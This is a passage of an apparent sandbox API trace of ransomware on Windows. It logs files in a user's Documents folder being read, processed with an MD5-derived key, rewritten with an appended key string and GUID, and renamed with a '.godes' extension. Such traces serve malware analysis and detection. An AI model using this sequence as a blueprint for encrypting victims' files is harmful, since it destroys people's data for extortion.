hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.868] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.868] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.868] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.868] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.869] GetLastError () returned 0x0 [0113.869] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.869] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.869] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.869] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xf960) returned 0x3321120 [0113.869] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.869] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.869] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xf956, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xf956, lpOverlapped=0x0) returned 1 [0113.869] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.869] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xf95b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.869] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.869] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.869] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.869] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.869] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.870] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.870] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.870] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.870] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.870] CloseHandle (hObject=0x624) returned 1 [0113.871] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x31d8608 [0113.871] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8a0) returned 0x3321120 [0113.871] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31d8608 | out: hHeap=0x660000) returned 1 [0113.871] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\qHHCf1DuRREhYQ07.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\qhhcf1durrehyq07.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\qHHCf1DuRREhYQ07.ods.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\qhhcf1durrehyq07.ods.godes")) returned 1 [0113.871] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.871] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.872] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32064b0 | out: hHeap=0x660000) returned 1 [0113.872] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b4bd60, ftCreationTime.dwHighDateTime=0x1d4c593, ftLastAccessTime.dwLowDateTime=0x8a5a2f0, ftLastAccessTime.dwHighDateTime=0x1d4d270, ftLastWriteTime.dwLowDateTime=0x8a5a2f0, ftLastWriteTime.dwHighDateTime=0x1d4d270, nFileSizeHigh=0x0, nFileSizeLow=0xe347, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S5Y2z-QfT_jhbg-.doc", cAlternateFileName="S5Y2Z-~1.DOC")) returned 1 [0113.872] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.872] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa6) returned 0x32064b0 [0113.872] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.872] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\S5Y2z-QfT_jhbg-.doc") returned=".doc" [0113.872] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\S5Y2z-QfT_jhbg-.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\s5y2z-qft_jhbg-.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.874] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=58183) returned 1 [0113.874] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.876] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xe321, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.876] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.877] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.877] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.877] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.877] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xe347, lpOverlapped=0x0) returned 1 [0113.878] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.878] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.878] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.878] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.878] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.879] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.879] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.879] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.879] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.879] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.879] GetLastError () returned 0x0 [0113.879] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.879] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.879] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.879] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe350) returned 0x3321120 [0113.880] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.880] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.880] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xe342, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xe342, lpOverlapped=0x0) returned 1 [0113.880] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.880] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xe347, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.880] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.880] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.880] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.880] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.880] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.880] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.880] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.880] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.880] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.880] CloseHandle (hObject=0x624) returned 1 [0113.881] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x31d8608 [0113.881] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8a0) returned 0x3321120 [0113.881] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31d8608 | out: hHeap=0x660000) returned 1 [0113.882] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\S5Y2z-QfT_jhbg-.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\s5y2z-qft_jhbg-.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\S5Y2z-QfT_jhbg-.doc.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\s5y2z-qft_jhbg-.doc.godes")) returned 1 [0113.882] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.882] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.883] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32064b0 | out: hHeap=0x660000) returned 1 [0113.883] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b4bd60, ftCreationTime.dwHighDateTime=0x1d4c593, ftLastAccessTime.dwLowDateTime=0x8a5a2f0, ftLastAccessTime.dwHighDateTime=0x1d4d270, ftLastWriteTime.dwLowDateTime=0x8a5a2f0, ftLastWriteTime.dwHighDateTime=0x1d4d270, nFileSizeHigh=0x0, nFileSizeLow=0xe347, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S5Y2z-QfT_jhbg-.doc", cAlternateFileName="S5Y2Z-~1.DOC")) returned 0 [0113.883] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0113.883] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0113.883] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f4f8 | out: hHeap=0x660000) returned 1 [0113.883] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.883] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f4f8 [0113.883] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.883] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.883] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.883] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.883] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.883] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.883] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.884] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.884] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.884] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.884] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.884] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.884] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.884] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.884] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.884] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.884] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.884] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.884] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.884] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.884] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.884] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.884] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.884] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.884] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.884] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.884] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.884] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0113.884] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.884] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.884] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.884] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.884] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.884] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.884] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.884] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.884] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.884] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.884] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.884] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.884] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.885] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.885] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.885] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.885] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.885] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.885] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.885] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.885] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.885] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.885] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.885] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.885] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.885] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.885] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.885] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.885] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.885] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.885] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.885] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.885] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.885] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.885] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.885] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.885] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.885] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.885] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.885] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.885] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.885] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.885] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.885] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.885] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.885] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.886] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.886] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.886] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.886] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.886] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.886] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.886] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.886] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.886] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.886] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.886] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.886] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.886] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.886] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.886] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.886] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.886] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.886] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.886] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.886] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.886] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.886] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.886] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.886] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.886] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.886] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.886] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.886] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.886] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.886] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0113.886] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.886] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.886] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.887] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.887] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.887] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.887] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.887] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.887] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, 